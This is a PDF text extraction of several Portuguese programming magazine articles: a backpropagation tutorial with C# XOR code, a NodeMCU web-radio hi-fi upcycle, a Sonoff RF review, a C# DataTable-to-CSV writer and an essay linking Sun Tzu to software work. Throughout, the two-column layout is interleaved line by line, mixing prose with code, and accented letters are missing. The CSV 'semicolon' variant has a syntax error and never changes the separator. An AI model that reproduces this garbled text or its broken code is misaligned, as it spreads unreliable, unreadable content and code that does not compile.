uma abordagem ao algoritmo de backpropagation. defende que possvel treinar as camadas intermdias,
Este algoritmo foi desenvolvido nos anos 80 por Ru- resultando no modelo MLP (Multilayer Perceptron), isto ,
melhant, Hinton e Williams e um dos algoritmos so redes de mltiplas camadas, formadas por uma camada
mais conhecidos das redes neuronais. de entrada, uma ou mais camadas ocultas (intermdias) e
uma camada de sada, como pode ser visto na imagem ante-
De forma a melhor introduzirmos o tema, uma
rior. Cada neurnio de uma camada recebe os sinais de to-
rede neuronal artificial inspirada no funcionamento
dos os neurnios da camada anterior e propaga os seus
nosso prprio sistema funcional enquanto humanos.
dados de sada a todos os neurnios da camada posterior.
Ou seja, uma rede que aprende a cada experincia
vivenciada. Um dos constituintes principais do siste- Para um melhor enquadramento terico do leitor,
ma nervoso humano o neurnio. Esta clula res- importante referir que o algoritmo de backpropagation
ponsvel pela conduo dos impulsos nervosos, e apenas um dos muitos que podem ser usados num modelo
comunicam entre si atravs de sinapses. Por sua vez MLP. Existem dois tipos de algoritmos de treino, os supervi-
a sinapse a regio onde dois neurnios entram em sionados e os no supervisionados.
contacto entre si, sendo que os impulsos recebidos,
Os algoritmos supervisionados necessitam de um
por exemplo, pelo neurnio X, so processados pas-
vector de entrada e de um vector de sada (tambm conhe-
sando a informao resultante ao neurnio Y por
cido como vector alvo), ambos so utilizados para o treino da
meio de uma substncia neurotransmissora. Sem
rede neuronal.
querer alongar muito este tema biolgico, podemos
apenas dizer que os neurnios so formados por Quando o vector de entrada aplicado, a sada
dendritos (funcionam como terminais de entrada), calculada e comparada com o vector alvo correspondente. O
pelo corpo central (onde ocorre o processamento) e erro encontrado ento reassumido pela rede neuronal e os
pelos axnios (que por sua vez funcionam como ter- pesos so actualizados de forma a minimizar o erro. Este
minais de sada). processo repetido at que o erro dos vectores seja corre-
spondente ao valor pr-definido para cada conjunto.
As redes neuronais artificiais so redes com-
putacionais que apresentam um modelo matemtico Por sua vez, os algoritmos no supervisionados, no
inspirado na estrutura neuronal anteriormente apre- tm um vector alvo para os dados de sada, no tendo assim
sentada e que adquirem conhecimento atravs de qualquer comparao para determinar a soluo ideia. Neste
cada experincia processada, simulando assim a in- caso, o algoritmo modifica dos pesos da rede de forma a que
teligncia humana. Este comportamento possvel os valores de sada sejam consistentes
graas s interaces entre as diversas unidades de
O mtodo backpropagation um algoritmo supervi-
processamento que constituem estas redes. Uma
sionado. Correndo o risco de me repetir, mas ajudando a
vantagem deste tipo de implementao algortmica
cimentar tudo o que j foi escrito atrs, durante o treino, a
que possui um elevado grau de paralelismo, caracte-
rede comporta-se da seguinte forma:
rstica que lhe proporciona uma elevada rapidez de
processamento. Um padro apresentado camada de entrada da
Ento temos que numa rede neuronal existe rede. Este processamento flui atravs da rede, cama-
trs tipos de camadas: da por camada, at que a resposta seja produzida
pela camada de sada.
Camada de Entrada: onde os padres so apresen-
tados rede; Assim que a sada obtida, a mesma comparada
sada desejada para esse padro particular. Se esta
Camadas Intermdias (Escondidas): onde feita a no estiver correta, o erro calculado e o mesmo
maior parte do processamento, atravs das conexes propagado a partir da camada de sada at a camada
ponderadas que podem ser consideradas como extrato- de entrada, e os pesos das conexes das unidades
ras de caractersticas; das camadas internas vo sendo modificados con-
forme o erro retropropagado (da o nome do algorit-
Camada de Sada: onde o resultado final con- mo)
cludo e apresentado.
Ou seja, este algoritmo tem duas fases distintas
(tambm conhecidas como a fase Forward - em que
definida a saida da rede para um dado padro de entrada e
a fase Backward em que a diferena entre o resultado
desejado e o resultado obtido utilizada para atualizar os
pesos das conexes).

16
A PROGRAMAR

ALGORITMO BACKPROPAGATION

Um ponto importante nas redes que utilizam este algo- utilizada, maior ser a mudana dos pesos, aumen-
ritmo que as mesmas utilizam uma variao Delta prpria. tando assim velocidade de aprendizagem da rede, o
Esta regra do Delta generalizado implementa um gradiente que pode levar oscilao do modelo na sua super-
descencente no quadrado da soma do erro em funes line- fcie de erro.
ares, o que provoca a que as redes possam ficar sujeitas aos
Uma maneira de aumentar a taxa de aprendizagem
problemas dos minimos locais.
sem levar oscilao da rede modificando a regra Delta
Generalizada de forma a incluir o termo momentum, uma
constante que determina o efeito das mudanas que a rede
sofreu anteriormente dos pesos na direo atual do mo-
vimento no espao dos pesos.

Sem querer levar demasiado este artigo para o lado


matemtico do algoritmo, importante deixar ao leitor algumas
consideraes sobre a Regra Delta Generalizada

Esta regra funciona quando so utilizadas na rede, uni-


dades com uma funo de ativao semi-linear, isto ,
uma funo diferencivel e no decrescente, como por
exemplo, a funo Sigmoid.

Utiliza o metdo de descida do gradiente por correo


de erro. A este processo de reduo gradativa do erro
que acompanha a minimizao d-se o nome de con-
vergncia.

A taxa de aprendizagem uma constante de propor-


cionalidade no intervalo [0,1], pois este procedimento
requer apenas que a mudana no peso seja proporcion-
al meta que queremos atingir.

O gradiente descendente requer que sejam tomados


passos infinitesimais pois quanto maior for a constante

17
A PROGRAMAR
ALGORITMO BACKPROPAGATION

Em suma, acerca deste algoritmo devemos reter: A implementao que proponho ao leitor, com o
recurso linguagem C#. Como este j um algoritmo com
Utiliza um mtodo de descida do gradiente por cor- alguns anos, so muitas as variaes e diferentes imple-
reco de erro mentaes noutras linguagens que podem encontrar facil-
mente na internet.
A funo de custo minimizada realizando iterati-
vamente ajustes nos pesos sinpticos de acordo com o
erro quadrtico acumulado nos padres do conjunto de using System;
treino
namespace BackPropagationXor
O ajuste dos pesos realizado atravs do clculo da {
class Program
mudana da funo de custo com respeito mudana {
em cada peso, isto , com o mtodo delta. static void Main(string[] args)
{
Ao processo de reduo do gradiente do erro que train();
acompanha a minimizao, d-se o nome de con- }
vergncia. class sigmoid
{
medida que a rede aprende o valor do erro converge public static double output(double x)
para um valor estvel, normalmente irredutvel. {
return 1.0 / (1.0 + Math.Exp(-
x));
O processo de aprendizagem prossegue at que algum }
critrio pr-definido seja atingido, como por exemplo o
valor mnimo de erro global ser atingido. public static double derivative
(double x)
Tudo isto origina, o fluxograma j conhecido deste algo- {
ritmo: return x * (1 - x);
}
}

class Neuron
{
public double[] inputs = new double
[2];
public double[] weights = new double
[2];
public double error;

private double biasWeight;

private Random r = new Random();

public double output


{
get { return sigmoid.output
(weights[0] * inputs[0] +
weights[1] * inputs[1] + biasWeight); }
}

public void randomizeWeights()


{
weights[0] = r.NextDouble();
weights[1] = r.NextDouble();
biasWeight = r.NextDouble();
Ento e poder perguntar o leitor Quais principais }
desvantagens deste algoritmo?
public void adjustWeights()
A principal desvantagem deste algoritmo a lentido do {
mesmo caso seja um conjunto de treino complexo, uma vez weights[0] += error * inputs[0];
weights[1] += error * inputs[1];
que obriga a bastantes clculos a cada neurnio artificial. H biasWeight += error;
tambm a possibilidade do algoritmo convergir para um m- }
nimos locais, que apesar de apresentarem uma soluo }
estvel, no correspondem sada correcta do algoritmo. Para private static void train()
acelerar o processamento de dados comum, por exemplo, {
adicionar ns intermedirios de forma a aumentar o proces- // the input values
samento paralelo da rede. double[,] inputs =
{
{ 0, 0},
{ 0, 1},

18
A PROGRAMAR

ALGORITMO BACKPROPAGATION

{ 1, 0},
{ 1, 1} // adjusts the weight of the out-
}; put
neuron, based on its er-
// desired results ror
double[] results = { 0, 1, 1, 0 }; outputNeuron.error =
sigmoid.derivative(outputNeuron.output)
// creating the neurons *
Neuron hiddenNeuron1 = new Neuron(); (results[i] - outputNeu-
Neuron hiddenNeuron2 = new Neuron(); ron.output);
Neuron outputNeuron = new Neuron(); outputNeuron.adjustWeights();

// random weights // then adjusts the hidden neu-


hiddenNeuron1.randomizeWeights(); rons'
hiddenNeuron2.randomizeWeights(); weights, based on their er-
outputNeuron.randomizeWeights(); rors
hiddenNeuron1.error =
int epoch = 0; sigmoid.derivative(hiddenNeuron1.output)
*
Retry: outputNeuron.error * outputNeuron.weights
epoch++; [0];
for (int i = 0; i < 4; i++) // very hiddenNeuron2.error =
//important, do NOT train for only one example sigmoid.derivative(hiddenNeuron2.output)
{ *
// 1) forward propagation outputNeuron.error * outputNeuron.weights
//(calculates output) [1];
hiddenNeuron1.inputs = new double[]
{ inputs[i, 0], inputs[i, 1] }; hiddenNeuron1.adjustWeights();
hiddenNeuron2.inputs = new double[] hiddenNeuron2.adjustWeights();
{ inputs[i, 0], inputs[i, 1] }; }

outputNeuron.inputs = new double[] if (epoch < 2000)


{ hiddenNeuron1.output, hiddenNeuron2.output }; goto Retry;

Console.WriteLine("{0} xor {1} = Console.ReadLine();


{2}", inputs[i, 0], inputs[i, 1], }
outputNeuron.output); }
}
// 2) back propagation (adjusts
weights)

Mais uma vez, quero recordar que esta s uma forma de


implementao do algoritmo, muitas outras poderiam ser usa-
das, como por exemplo esta em linguagem C: http://
courses.cs.washington.edu/courses/cse599/01wi/admin/
Assignments/bpn.html
Desejo a todos os leitores, boas implementaes, at prxi-
ma edio!

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

19
ELECTRNICA
Up-Ciclar a velhinha aparelhagem Hi-Fi
Electrnica
UP-CICLAR A VELHINHA APARELHAGEM HI-FI

Adicionalmente deve ser ligado o cabo USB apenas


Introduo
para alimentao de corrente, na NodeMCU e a sada de
comum ouvir falar em reciclar objectos, equipamen- udio (jack), na entrada de linha do equipamento. Como o
tos, etc referindo-se ao envio para desmontagem e recicla- equipamento up-ciclado j tem amplificador de entrada, no
gem de materiais. Claro que a reciclagem e os trs Rs, so necessrio utilizar esse tipo de circuito.
algo de bom que podemos fazer pelo ambiente. No entanto
Firmware
este artigo foca-se no up-cicle, que basicamente consiste no
processo de pegar num equipamento j obsoleto, mas ainda O primeiro passo, agora ser descarregar os fichei-
funcional e acrescentar-lhe funcionalidades, de forma a torn- ros.
lo novamente til.
user1.4096.new.4.bin
Ao longo deste artigo iremos construir o circuito para
transmisso de udio e web-rdio para um equipamento Hi-Fi user2.4096.new.4.bin
padro, de forma a mantermos o equipamento actualizado,
na actualidade tecnolgica! No caso concreto em que isto foi boot_v1.6.bin
feito, teve por objectivo aproveitar uma antiga aparelhagem Hi-
blank.bin
Fi, j com uns bons anos, mas que ainda tem um bom amplifi-
cador udio e umas boas colunas e alguns efeitos de equaliza- esp_init_data_default.bin
o merecedores de alguma extenso de vida. Este projecto
foi num instructable, bastante interessante, sobre este mesmo boot_v1.5.bin
tema e inspirado no up-cycle do Bem Heck show.
De seguida o passo ser carregar os ficheiros para a No-
Hardware deMCU, recorrendo ferramenta disponvel no site da Ex-
pressIf.
Neste projecto ser usado um NodeMCU e um Mdulo
VS1053, ambos disponveis na net. A corrente neste caso con- Feito isto procedemos ao upload, ligando a NodeMCU
creto fornecida por uma derivao da alimentao do leitor ao computador via porta USB e carregando os ficheiros, con-
de cassetes udio, neste caso o equipamento up-ciclado, forme apresentado na imagem seguinte.
tinha uma sada de 5vdc que foi aproveitada para este efeito.
Como no existem todas as parts em fritzing neste arti-
go as ligaes so apenas apresentadas em formato tabela,
para facilitar a replicao do circuito.

NodeMCU VS1053

5v 5v

ADC GND

D5 SCK

D6 MISO

D7 MOSI

TXD UART RX

RXD UART TX

D1 XDCS

D2 DREQ

D3 XRST Uma vez carregado o firmware, podemos desligar a


NodeMCU do computador e voltar a ligar todo o circuito no
D8 XCS interior da caixa do equipamento que est a ser up-ciclado.
Convm referir que o circuito no deve ficar perto de fontes

21
Electrnica
UP-CICLAR A VELHINHA APARELHAGEM HI-FI

de calor ou campos magnticos. No caso concreto da realiza- Concluso


o deste projecto o circuito ficou na parte de trs do equipa-
Ao longo do artigo foi apresentada uma forma simples
mento num espao amplo e vazio, onde foi montada tambm
de fazer up-cycling de um equipamento udio, que se en-
uma ventoinha de 12v para garantir maior refrigerao.
contre obsoleto. Como se pode observar o circuito bas-
Assim que esteja de novo ligado o equipamento, pode- tante simples e existem diversos exemplos de circuitos base-
mos aceder ao software de configurao do mesmo, usando ados em KaRadio na internet. Alguns mais interessantes
um computador com wireless, acedendo rede com ssid incluem um lcd tipo Nokia 5150, outros com display Oled,
WifiWebRadio e abrindo no browser o endereo 192.168.4.1. alguns at controlo remoto. Todos estes extras usam o
No browser ser apresentada a pgina de configurao, onde modelo base KaRadio que foi utilizado para este projecto e
podemos configurar a nodemcu para ligar nossa rede wifi. apresentado ao longo do artigo.
De igual modo podemos carregar o ficheiro de estaes de Apesar do Reciclar, ser o mais comum uso do que
webrdio (ficheiro txt), ou configurar manualmente todas as est obsoleto, existem sempre bons usos para equipamen-
nossas estaes e caso tenhamos um streaming server, o nos- tos que j excederam o seu tempo de vida til, ou que fica-
so streaming server. ram ultrapassados pela evoluo tecnolgica. No entanto tal
como eu, os leitores, podero querer dar uma nova vida a
Terminado todo este processo podemos finalmente usar
um equipamento e esta foi a ideia com este artigo!
o equipamento, equipado com o cliente de webRadio KaRadio,
utilizando o browser web de qualquer dispositivo que tenhamos
ligado rede, conforme se pode ver na figura seguinte.
Referncias

https://github.com/karawin/Ka-Radio

http://www.royalsystems.dk/blog/preview.php?pid=5

http://www.serasidis.gr/circuits/w7500_vs1053/
w7500_vs1053.php

AUTOR
Escrito por Antnio C. Santos

Programar criar um novo mundo escrevendo cdigo, cumprindo os mais elementares desgnios da
vida, aprender, ensinar, criar, partilhar, melhorar e seguir. Formou-se no Instituto Politcnico de Viana
do Castelo. Membro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da
Sahana Software Foundation, onde Programador Voluntrio desde 2012, actualmente exerce funes
de mentor voluntrio na plataforma MOOC Coursera . Twitter:@apocsantos

22
Anlises de Hardware
Sonoff RF
Anlises de Eletrnica
SONOFF RF

Como se pode ver na imagem anterior, a ESP8266


Equipamento: Sonoff RF
est montada na placa principal e vem-se perfeitamente os
Fabricante: Itead headers do MCU que trata do sinal RF.
SKU: IM15116003 Algo que achei interessante sobre este equipamento
o facto de serem disponibilizados no site do fabricante os
Dimenses: (C)88*(L)38*(A)
esquemas eletrnicos, o layout da placa principal, bem como
23mm
o datahseet do ESP8266EX, utilizado no circuito.
De destacar que o dispositivo compatvel nativa-
Nesta edio pela primeira vez ser feita uma review de mente com Google Nest e Amazon Alexa, algo que pode ser
um equipamento/componente mais destinado ao pessoal ainda mais interessante, uma vez que criar um dispositivo
maker e aos entusiastas do IoT. Neste caso um Sonoff RF, que utilize Alexa, com um raspberry pi bastante simples,
basicamente um rel controlado remotamente, bastante engra- evitando assim ter de comprar um Echo Dot ou outro disposi-
ado para domtica e outros projetos de IoT. tivo semelhante.
Algo que notei, ao analisar o dispositivo foi a falta de uma
app Windows Universal Platform, mas dada a simplicidade
Especificaes gerais
da comunicao no ser complicado desenvolver uma app
Voltagem de trabalho: 90-250v AC(50/60Hz) para Windows que controle os dispositivos.
A configurao poderia ser mais facilitada com uma
Corrente limite: 10A
interface web, que permitisse efectuar logo as alteraes do
Potncia limite: 2200 watts ssid e respectiva password, no entanto a aplicao iOS
bastante simples de se usar.
Dimenses: (C)88*(L)38*(A)23mm
Para os mais entusiastas da electrnica, ser fcil
Cor: White usar um circuito USB - TTL de 3.3v para poder reprogramar
na ntegra o sonoff e assim libertar todo o seu potencial,
Temperatura de trabalho: 0C-40C alm de j existirem firmwares alternativos para este circuito,
mais concretamente o sonoff boilerplate e o sonoff Tasmota,
Humidade relativa de trabalho 5%-90%RH, sem con-
cada um com as suas vantagens e desvantagens. O sonoff
densao
Tasmota, j suporta MQTT e actualizao de firmware OTA,
Frequncia Wifi: 2.4Ghz enquanto que o Sonoff Boilerplate destinado a alteraes
mais simples, apesar de tambm trazer suporte para MQTT
Trata-se de um circuito simples, bem embalado numa e OTA.
caixa plstica resistente, fcil de montar e de aplicar, mesmo
para os mais aprendizes. Dispe de um circuito RF adicional a Concluso
funcionar nos 433mhz, o que permite ser usado com um co- De uma forma geral o dispositivo apesar de simples
mando, ou com um pouco de pacincia com um modulo RF, bastante interessante, na medida em que coloca ao utiliza-
como os usados no arduino. O controlo por wireless fica ao dor mais comum uma soluo quase chave na mo com
cargo de um ESP8266 da Expressif, bastante conhecido de um interruptor wireless, programvel e controlvel pela apli-
quase toda a gente. Note-se que o ESP e o MCU destinado a cao. Para quem usa Amazon Alexa, tem sempre a vanta-
WIFI, so apenas ligados por alguns dos GPIO do ESP8266. gem de ser simples de adicionar aos dispositivos controlados
pela Alexa, o que se revela til. A qualidade de construo
razovel, em especial para usos em interior, no devendo
ser utilizado no exterior. Por outro lado a dimenso do dispo-
sitivo, facilita a colocao e fixao em estruturas existentes.
De um modo geral, sem considerar mais nenhum
extra ao circuito, ele revela-se uma soluo engraada para
automao caseira e controlo de dispositivos que apenas
necessitem de um interruptor.

24

COLUNAS
C# - De DataTable para ficheiro CSV (mais comum do que seria agradvel)
Kernel Panic - A Arte da Guerra e a tecnologia
C#
De DataTable para ficheiro CSV

(mais comum do que seria agradvel)


Tal como o ttulo sugere, mais comum do que seria }
agradvel, ter de fazer transformaes de dados de DataTa-
ble, para ficheiros CSV separados por vrgulas ou ponto-e- private static string QuoteValue(string
value)
vrgula, para se transferirem dados nas mais diversas situa- {
es! Seria muito mais agradvel usar um formato tipo XML ou return String.Concat("\"",
mesmo JSON do que usar csv! No entanto o CSV est para value.Replace("\"", "\"\""), "\"");
}
ficar, tendo em 2005 sido alvo de RFC para formato comum e }
Mime Type para transferncia de ficheiros (RFC4188).
Ao longo do artigo ser apresentada uma classe, bas-
A classe bastante simples e apenas implementa as
tante simples para escrever dados oriundos de uma DataTable
funcionalidades mais elementares para a escrita do ficheiro
para ficheiro em formato CSV de acordo com o RFC4180 e
CSV. Agora vejamos a sua utilizao:
posteriormente em formato CSV separado por ponto-e-vrgula,
conforme comummente usado para transferncia de dados
// C# Code
entre sistemas legados. public static class Program {
public static void Main() {
Os dados armazenados num objecto do tipo DataTable, DataTable sourceTable = new DataTable();
encontram-se num formato suportado pela framework .net
para armazenamento em memria. Como se trata de um objec- sourceTable.Columns.AddRange(new
DataColumn[] {
to existem diversos mtodos bastante teis que podem ser new DataColumn("ID", typeof(Guid)),
chamados. Muitos deles bastante teis quando se pretende new DataColumn("Date", typeof
trabalhar com os dados em memria. No entanto a classe Da- (DateTime)),
taTable no tem suporte para escrita de ficheiros csv. new DataColumn("StringValue",
typeof(string)),
Existem diversas formas de escrever o contedo de new DataColumn("NumberValue",
typeof(int)),
uma DataTable em csv, algumas mais trabalhosas, outras mais new DataColumn("BooleanValue",
simplificadas, desde utilizao de loops para se escrever linha typeof(bool))
a linha do ficheiro, opes mais morosas. });

A seguinte classe, implementa uma forma simples de escrever sourceTable.Rows.Add(Guid.NewGuid(),


DateTime.Now, "String1", 100, true);
dados vindos de qualquer DataTable para o formato CSV se- sourceTable.Rows.Add(Guid.NewGuid(),
parado por vrgulas. DateTime.Now, "String2", 200, false);
sourceTable.Rows.Add(Guid.NewGuid(),
public static class Rfc4180Writer DateTime.Now, "String3", 300, true);
{
public static void WriteDataTable(DataTable using (StreamWriter writer =
sourceTable, TextWriter writer, bool new StreamWriter("C:\\dev\\dados.csv"))
includeHeaders) {
{ Rfc4180Writer.WriteDataTable
if (includeHeaders) { (sourceTable, writer, true);
IEnumerable<String> headerValues = }
sourceTable.Columns }
.OfType<DataColumn>() }
.Select(column => QuoteValue
(column.ColumnName));
Como se pode ver no exemplo de utilizao, foi criada
writer.WriteLine(String.Join(",", uma DataTable e acrescentados dados de diversos tipos a
headerValues)); essa mesma datatable, antes da mesma ser usada para
}
gerar o ficheiro csv recorrendo classe criada anteriormente
IEnumerable<String> items = null; (Rfc4180Writer). No entanto o mais comum a DataTable
conter dados vindos de uma query a um sistema gestor de
foreach (DataRow row in sourceTable.Rows) { base de dados tipo MS-SQL Server, ou outro.
items = row.ItemArray.Select(o =>
QuoteValue(o.ToString())); Por exemplo, uma query para retornar todos os autores da
writer.WriteLine(String.Join(",",
items)); PROGRAMAR e escrever essa informao num ficheiro csv,
} por exemplo, para importar para uma aplicao de email,
para enviar o prximo pedido de artigos!
writer.Flush();

27
C#
DE DATATABLE PARA FICHEIRO CSV (MAIS COMUM DO QUE SERIA AGRADVEL)

SqlConnection sqlConnection1 = new SqlConnection(); A utilizao desta classe, seria idntica em ASP.net
SqlCommand cmd = new SqlCommand(); MCV com a excepo do resultado que retornado, que
SqlDataReader reader; passa a ser uma instncia de FilePathResult.
cmd.CommandText = "SELECT * FROM autores";
cmd.CommandType = CommandType.Text;
cmd.Connection = sqlConnection1; public class ReportController : Controller
{
sqlConnection1.Open(); [HttpGet()]
reader = cmd.ExecuteReader(); public ActionResult Export()
sqlConnection1.Close(); {
var sourceTable = new DataTable(); DataTable sourceTable = new DataTable();
sourceTable.Load(reader);
sourceTable.Columns.AddRange(new
using (StreamWriter writer = new StreamWriter DataColumn[] {
("C:\\Temp\\dump.csv")) new DataColumn("ID", typeof(Guid)),
{ new DataColumn("Date",
Rfc4180Writer.WriteDataTable(sourceTable, typeof(DateTime)),
writer, true); new DataColumn("StringValue",
} typeof(string)),
new DataColumn("NumberValue",
typeof(int)),
No caso de querermos escrever um ficheiro CSV mas separa- new DataColumn("BooleanValue",
do por ponto-e-vrgula ser necessrio apenas fazer uma alte- typeof(bool))
rao na classe, tal como apresentado em seguida: });

sourceTable.Rows.Add(Guid.NewGuid(),
public static class Rfc4180Writer DateTime.Now, "String1", 100, true);
{ sourceTable.Rows.Add(Guid.NewGuid(),
public static void WriteDataTable(DataTable DateTime.Now, "String2", 200, false);
sourceTable, TextWriter writer, bool sourceTable.Rows.Add(Guid.NewGuid(),
includeHeaders) DateTime.Now, "String3", 300, true);
{
if (includeHeaders) { byte[] outputBuffer = null;
IEnumerable<String> headerValues =
sourceTable.Columns using (MemoryStream tempStream = new
.OfType<DataColumn>() MemoryStream()) {
.Select(column => QuoteValue using (StreamWriter writer = new
(column.ColumnName)); StreamWriter(tempStream)) {
Rfc4180Writer.WriteDataTable
writer.WriteLine(String.Join(",", (sourceTable, writer, true);
headerValues)); }
}
outputBuffer = tempStream.ToArray();
IEnumerable<String> items = null; }
foreach (DataRow row in sourceTable.Rows) {
items = row.ItemArray.Select(o =>
QuoteValue(o.ToString()));
writer.WriteLine(String.Join(",", Concluso
items));
} Apesar de muitas vezes poder ser achado deselegan-
writer.Flush(); te ou at aborrecido estar a escrever ficheiros em formato
} csv, mais comum do que para alguns seria expectvel. No
entanto apesar da falta de suporte nativo em C# para este
private static string QuoteValue(string efeito, a implementao no difcil e acaba sendo til para
value)
{ quando se tem de trabalhar com estas situaes! Alm dis-
return String.Concat("\"", so, o formato csv, parece estar para ficar, como pode ser
value.Replace("\""; "\"\""), "\""); //alterado visto no RFC, pelo que nada como ter o cdigo preparado
} para lidar com ele!
}

AUTOR
Escrito por Antnio C. Santos

Programar criar um novo mundo escrevendo cdigo, cumprindo os mais elementares desgnios da
vida, aprender, ensinar, criar, partilhar, melhorar e seguir. Formou-se no Instituto Politcnico de Viana
do Castelo. Membro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da
Sahana Software Foundation, onde Programador Voluntrio desde 2012, actualmente exerce funes
de mentor voluntrio na plataforma MOOC Coursera . Twitter:@apocsantos

28
Kernel Panic
A Arte da Guerra e a tecnologia

possvel que para muitos o ttulo possa parecer de dos os planos gerais, que seriam utilizados na batalha que
uma estranheza absurda, quase atroz talvez, ou mesmo sem se avizinharia.
nexo. No entanto o ttulo indica exactamente o que pretendi-
De uma forma muito sucinta, poderia dizer-se que o
do, ao abordar a aplicao de um livro que data do sculo V
vencedor planeia antecipadamente, ainda que se possa vir
AC, escrito por um estratega militar chins, Sun Tzu.
a alterar os planos de forma flexvel, existem sempre planos
O que pode ter um texto sobre guerra a ver com softwa- iniciais, o que por si s implica uma avaliao metdica da
re? Talvez mais do que se imagina, pois muitos dos princpios tarefa e das circunstncias que a envolvem.
descritos no livro, tm uma aplicao bastante mais vasta que
Exactamente como no desenvolvimento de software,
a vertente blica, havendo inclusive j estudos sobre a aplica-
no projecto de um sistema informtico complexo, no planea-
o desses princpios a vertentes como a gesto e o negcio.
mento de uma rede, etc O sucesso da execuo, depende
O livro, encontra-se dividido em treze captulos, cada sempre de uma avaliao cuidada dos objectivos a cumprir e
um dedicado a um aspecto concreto, que apesar da amplitude de um planeamento cuidado de como os cumprir!
do texto, denota sempre a vertente blica do mesmo. No en-
tanto isto no invalida a sua aplicao ao software! Ora ve- Travando uma guerra ()
jamos.
Ao contrrio do livro, no se ir travar um conflito bli-
Avaliao detalhada e planeamento () co na extenso convencional da expresso, antes pelo con-
trrio, o objectivo ser sempre evitar qualquer tipo de confli-
Quanto mais detalhada for uma avaliao, maior a to. No entanto nesta parte o livro, foca-se na explicao de
quantidade de informao disponvel no momento de definir os como deve ser entendida a economia da guerra necess-
planos de aco. Como em todas as tarefas o planeamento de ria a vitria rpida e decisiva, limitando sempre o custo de
execuo depende em grande parte de uma avaliao slida e uma competio ou conflito.
consistente. Por exemplo, quando se vai executar um novo
Ora isto at pode parecer que nada tem a ver com
projecto, uma ideia fora da caixa, ou nos pedida a execuo
tecnologia e desenvolvimento, no entanto os princpios de
de uma tarefa, quanto mais detalhada for a avaliao da mes-
base tm bastantes pontos em comum. Ora vejamos:
ma, melhor ser o planeamento da execuo. Poderemos ava-
liar em mais detalhes o que ter de ser feito, como o fazer, que Quando se envolve no conflito, se a vitria longa em che-
caminhos seguir e que caminhos evitar, a interferncia de fac- gar, ento as armas dos homens ficaro maadas e seu
tores como o tempo disponvel, etc que iro inferir no suces- ardor ser despejado. (Sun Tzu)
so da batalha, no caso do desenvolvimento, no seria bem
Este princpio pode ser aplicado ao desenvolvimento
uma batalha, mas antes um desafio, ou uma tarefa.
de software, como uma regra, descrevendo a relao entre a
O planeamento uma das mais importantes fases de durao de um ciclo de desenvolvimento e a moral dos de-
uma tarefa. Ainda que parea que planeamento conversa de senvolvedores. Por exemplo, se um grupo de programado-
gestor de projecto, tambm muitas vezes chamado de o tipo res, trabalhar no mesmo projecto, meses a fio, sem objecti-
que acha que nove mulheres conseguem gerar um filho em um vos claro ou fim vista, possvel que eles se sintam frus-
ms, na verdade planeamento algo transversal a quem lide- trados e em consequncia a sua produtividade comece a
ra, a quem coordena, a quem executa! Um lder define um pla- baixar. O desenvolvimento tecnolgico um esforo intelec-
no, no entanto cada executante ter de planear pelo menos o tual, pelo que a motivao o principal combustvel para a
uso do seu tempo, conjugado com o tempo disponvel, consi- produtividade. Trabalhar todos os dias, sem percepcionar se
derando as variveis que esto dentro da sua esfera de contro- o trabalho est a produzir resultados pode ser desmotivante.
lo, para melhor utilizar o tempo disponibilizado, para realizar a Tal como indicado em algumas metodologias agile, o road-
sua tarefa, num plano maior que definido pelo lder. map de desenvolvimento deve ser dividido em pequenos
milestones, que uma equipe possa atingir em pequenos lap-
Agora, o general que ganha uma batalha faz muitos clculos
sos de tempo. Isto por sua vez, fornecer um sentimento de
em seu templo antes que a batalha seja travada." (Sun Tzu)
progresso e propsito atingido.
Para contextualizar a citao, convm referir que na
Na guerra, deixar o seu grande objectivo ser a vitria, no
poca em que o livro foi escrito, os templos eram edificaes
longas campanhas. (Sun Tzu)
de grande envergadura, considerados de propsito nobre e
eram muitas vezes utilizados como quartis generais, na vs- Esta mesma citao pode ser interpretada em dois
pera de partidas para campanhas militares. Nestes edifcios sentidos completamente dspares um do outro. Por um lado
eram traados os planos, estudadas as estratgias e finaliza- pode ser interpretada como precursora da filosofia por detrs
do sistema operativo Unix, de escrever programas que fa-

29
Kernel Panic
A ARTE DA GUERRA E A TECNOLOGIA

am uma tarefa e a faam de forma exmia, mantendo a simpli- dizer que uma cidade uma pea fundamental do projec-
cidade acima de tudo. Sendo o Unix um sistema operativo feito toe a estratgia, ser a forma como o projecto ser aborda-
para ser simples, pretendendo ser apenas uma coisa, contra- do, por forma a assegurar o sucesso do mesmo. As alianas
riamente ao projecto de onde ele nasceu, o Multics, que pre- podem ser muitas coisas diferentes, por exemplo quando
tendia ser muitas coisas, rodeado de complexidades, que dita- para executar um projecto se tem de desenvolver uma alian-
ram o seu fracasso. Seguindo esta filosofia, quando se desen- a com outra equipe, que j detm conhecimento sobre um
volve um software, ou no caso de IoT um projecto, deve ser aspecto, ou que tem aquele componente ou biblioteca que
mantido sempre presente qual o objectivo principal do projecto, pode ser fulcral para o projecto. Claro que sendo componen-
as funcionalidades chave que ele dever dispor, ou o problema tes de software ou bibliotecas, que possam ser adquirveis, a
que ele ir resolver e implementar o projecto correctamente. aquisio poder ser considerada uma forma de aliana! E
por fim o exrcito, que a equipe no seu todo, com todos os
Outra interpretao possvel, seria considerar a citao
seus elementos! A excepo que poder confirmar a regra,
como uma precursora dos princpios da metodologia Lean:
ser o caso de uma equipe de uma pessoa s! certo que
Entregar o mais depressa possvel! Quanto mais depressa for
em diversas situaes uma s pessoa far quase todos os
entregue o projecto, sem defeitos de maior, mais rapidamente
papis de uma equipe! Mas aqui existe algo que me recordo
se obter o feedback das partes o que permitir incluir altera-
de ler e gostaria de partilhar. Num texto que recentemente li,
es na prxima iterao. Se por outro lado se entregar softwa-
um instrutor de uma unidade de topo, escreveu e cito
re no funcional o feedback ser perdido, pois no haver a
Tragam-me pessoas mentalmente fortes e robustas, que
possibilidade de testar correctamente, situao em que a prxi-
fisicamente robustas, torno-as eu!. Ora eu no consegui
ma iterao do software ser mais difcil ou at mesmo impos-
deixar de recordar essa leitura, porque efectivamente se os
svel, em situaes em que a iterao seguinte dependa do
elementos de uma equipe, ou at mesmo uma pessoa s, for
feedback da iterao anterior.
mentalmente forte, consegue ultrapassar virtualmente to-
Ataque Estratgico () dos os obstculos que se lhe apresentem. No caso de um
programador no tanto a fora fsica que necessria,
No livro, ao longo deste captulo so discutidos os afinal desenvolver um trabalho maioritariamente intelectual.
